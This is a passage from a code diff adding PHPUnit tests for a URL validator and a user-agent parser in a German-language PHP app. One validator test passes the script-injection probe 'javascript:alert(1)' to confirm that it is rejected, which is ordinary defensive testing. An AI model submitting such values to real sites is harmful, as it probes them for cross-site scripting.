preg_match('/^[\x20-\x7E]+$/', $ascii),
'Location-Header muss ASCII sein: ' . $ascii,
);
}
}
public function testErrorMessagesAreHelpful(): void
{
self::assertStringContainsString('http', (string) UrlValidator::validationError('ftp://beispiel.de'));
self::assertStringContainsString('http', (string) UrlValidator::validationError('javascript:alert(1)'));
self::assertStringContainsString('Ziel-URL', (string) UrlValidator::validationError(''));
self::assertStringContainsString('Hostnamen', (string) UrlValidator::validationError('https://'));
}
}
+86
View File
@@ -0,0 +1,86 @@
<?php
declare(strict_types=1);
namespace App\Tests;
use App\Support\UserAgentParser;
use PHPUnit\Framework\TestCase;
final class UserAgentParserTest extends TestCase
{
/**
* @return array<string,array{0:string,1:string,2:string,3:string}>
*/
public static function agentProvider(): array
{
return [
'Windows Chrome' => [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'desktop', 'Chrome', 'Windows',
],
'macOS Safari' => [
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15',
'desktop', 'Safari', 'macOS',
],
'iPhone Safari' => [
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1',
'mobile', 'Safari', 'iOS',
],
'Android Handy' => [
'Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
'mobile', 'Chrome', 'Android',
],
'Android Tablet' => [
'Mozilla/5.0 (Linux; Android 13; SM-X200) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'tablet', 'Chrome', 'Android',
],
'iPad' => [
'Mozilla/5.0 (iPad; CPU OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/604.1',
'tablet', 'Safari', 'iOS',
],
'Firefox Linux' => [
'Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0',
'desktop', 'Firefox', 'Linux',
],
'Edge' => [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
'desktop', 'Edge', 'Windows',
],
'Googlebot' => [
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'bot', 'Bot', 'unknown',
],
'curl' => ['curl/8.4.0', 'bot', 'Bot', 'unknown'],
];
}
/**
* @dataProvider agentProvider
*/
public function testParse(string $userAgent, string $device, string $browser, string $platform): void
{
$result = UserAgentParser::parse($userAgent);
self::assertSame($device, $result['device']);
self::assertSame($browser, $result['browser']);
self::assertSame($platform, $result['platform']);
}
public function testEmptyUserAgentIsUnknown(): void
{
$result = UserAgentParser::parse('');
self::assertSame('unknown', $result['device']);
self::assertSame('unknown', $result['browser']);
self::assertSame('unknown', $result['platform']);
}
public function testDeviceLabelsAreGerman(): void
{
self::assertSame('Mobil', UserAgentParser::deviceLabel('mobile'));
self::assertSame('Desktop', UserAgentParser::deviceLabel('desktop'));
self::assertSame('Tablet', UserAgentParser::deviceLabel('tablet'));
self::assertSame('Unbekannt', UserAgentParser::deviceLabel('unknown'));
}
}